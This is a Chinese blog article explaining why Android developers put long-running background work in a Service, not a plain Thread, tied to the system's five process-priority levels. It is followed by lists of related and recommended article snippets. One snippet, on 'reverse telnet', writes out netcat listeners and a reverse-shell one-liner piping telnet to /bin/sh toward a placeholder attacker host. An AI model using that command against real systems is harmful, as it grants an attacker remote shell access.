1.什么是Service?

A Service is an application component representing either an application's desire to perform a longer-running operation while not interacting with the user or to supply functionality for other applications to use.(服务是一个应用程序组件,要么满足在一个应用程序中长期后台运行但是不和用户交互的需求,要么给其它的应用程序提供功能。)

2.Service的两大特点:

1):长期后台运行。

2):没有界面。

3.为什么要用Service而不用Thread了?

我们知道用new Thread(){}.start();的方式开启的子线程也是没有界面且长期后台运行的。那当我们想要满足服务的第一个功能时,为什么不直接使用开启一个新的线程的方式了?

这个问题可以从Android系统进程管理的方面来回答。Android系统中应用程序一旦被打开,通常情况下退出应用程序,即清空了任务栈后,该应用程序的进程并不会停止,而是以一个空进程的状态存在着,这是为了方便下一次快速启动(应用程序启动时间的长短是一个很重要的性能指标)。但是这样的管理机制会带来一个问题,那就是对内存的过度消耗。随着系统的运行,会出现内存不足的问题。Android系统有一套内存清理机制。 按照优先级去回收系统的内存。

进程分为5个等级的优先级:(从高到低)

1.Foreground process           前台进程   用户正在操作的应用程序对应的进程(获得焦点)

2.Visible process                  可视进程   用户仍然可以看到这个进程的界面(失去焦点)。

3.Service process                 服务进程   应用程序有一个服务组件在后台运行。

4.Background process           后台进程  应用程序没有服务在运行 并且最小化 (activity onstop)。

5.Empty process                  空进程     应用程序退出,没有任何运行的activity, 任务栈空了。

当一个新的进程被创建或者正在运行的进程请求新的内存资源,但是系统内存不足时,按上面的优先级由高到低依次回收内存,以满足新提出的内存需求。如果是直接new 出来的线程,当应用程序退出时,其被回收的优先级是5,是最先被回收的。因而长期后台运行的组件, 我们不应该在activity中开启子线程。而是应该要创建服务,在服务里面开启子线程。这样既能保证长期后台运行,又能提高进程的优先级,系统不容易回收掉进程,即便回收了,内存充足的时候,进程又会被重新创建。

 

为什么用服务不用线程-Android的更多相关文章

  1. Android系统Surface机制的SurfaceFlinger服务的线程模型分析

    文章转载至CSDN社区罗升阳的安卓之旅,原文地址:http://blog.csdn.net/luoshengyang/article/details/8062945 在前面两篇文章中,我们分析了Sur ...

  2. IntentService 服务 工作线程 stopself MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  3. 使用Struts2服务端与android交互

    转自:http://www.cnblogs.com/android-html5/archive/2011/09/25/2534107.html android--使用Struts2服务端与androi ...

  4. Python中的Tcp协议应用之TCP服务端-线程版

    利用线程实现,一个服务端同时服务多个客户端的需求. TCP服务端-线程版代码实现: import socket import threading def handle_client_socket(ne ...

  5. Android进程和线程(Android开发指南--译)

    (转自:http://www.cnblogs.com/xitang/archive/2011/09/24/2189460.html) Processes and Threads 译者署名: 呆呆大虾 ...

  6. Android客户端与PC服务端、android服务端通过WiFi通信

    前期准备:我的是Linux Mint操作系统(总之折腾的过程中怀疑过是不是系统的问题),首先是要创建wifi热点给android手机使用,这个时候笔记本作为通信的服务器端,android手机作为客户端 ...

  7. html+css+js+Hbuilder开发一款安卓APP,根本不用学Android开发!

    我们知道,要做一款安卓APP,咱们得先学安卓开发语言,例如java,前端后端.那么没有这些开发语言基础,咱们怎么做呢?其实现在有比较好的开发方案就是做webAPP,咱们可以用web前端知识构建安卓客户 ...

  8. 微软开放技术开发了适用于 Windows Azure 移动服务的开源 Android SDK

     发布于 2014-02-10 作者 陈 忠岳 为进一步实现连接微软与非微软技术的目标,微软开放技术有限公司开发了适用于 Windows Azure 移动服务的 Android SDK,由Scot ...

  9. Delphi 编写系统服务(服务控制线程:开始,暂停,继续,停止)

    打开Delphi 7,新建,选择Other->Service Application 修改属性中Name和DisplayName,Name是Service的名称,决定着进程的标识,Display ...

随机推荐

  1. 【转】Google推荐的命名规则——Android图片资源

    http://blog.csdn.net/yy1300326388/article/details/45443477 1.译 资产类型 前缀 例子 图标 ic_ ic_star.png 启动图标 ic ...

  2. Simple Worker Thread Class

    http://www.codeproject.com/Articles/36184/Simple-Worker-Thread-Class Introduction Many times we need ...

  3. Codeforces Round #215 (Div. 1) B. Sereja ans Anagrams 匹配

    B. Sereja ans Anagrams Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/problemset ...

  4. C#程序通过模板自动创建Word文档

    引言:前段时间有项目要用c#生成Word格式的计算报告,通过网络查找到很多内容,但是都很凌乱,于是自己决定将具体的步骤总结整理出来,以便于更好的交流和以后相似问题可以迅速的解决! 现通过具体的示例演示 ...

  5. Android 深入ViewPager补间动画,实现类京东商城首页广告Banner切换效果

    如有转载,请声明出处: 时之沙: http://blog.csdn.net/t12x3456 某天看到京东商城首页的滑动广告的Banner,在流动切换的时候有立体的动画效果,感觉很有意思,然后研究了下 ...

  6. 微信lbs---返回两个经纬度坐标点的距离

    微信开发:lbs附近的商家,在数据库里记录商家的坐标,lbs设置里管理搜索半径,查询的时候,查询 客户当前坐标的半径内的所有商家列表.个人喜欢不一样,我选择了执行sql ,毕竟效果高点.微信开发必须得 ...

  7. jquery控制css的display(控制元素的显示与隐藏)

    使用jquery控制div的显示与隐藏: $("#div的id").show()表示display:block, $("#div的id").hide()表示di ...

  8. 反向telnet连接

    首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...

  9. 用JSON数据向已定义列的表格添加数据行

    其实添加方式和在MVC中动态读取JSON数据创建表格一样,只不过一个是完整表格添加,一个是从表格中间添加.不详细说明了. <div> <table class="table ...

  10. 一款基于jQuery底部带缩略图的焦点图

    之前我们已经分享过不少实用的jQuery焦点图插件了,今天我们要介绍的这款jQuery焦点图插件是带有缩略图的,我们只需点击缩略图即可切换至相应的图片,图片切换的时候出现淡入淡出的动画效果. 在线预览 ...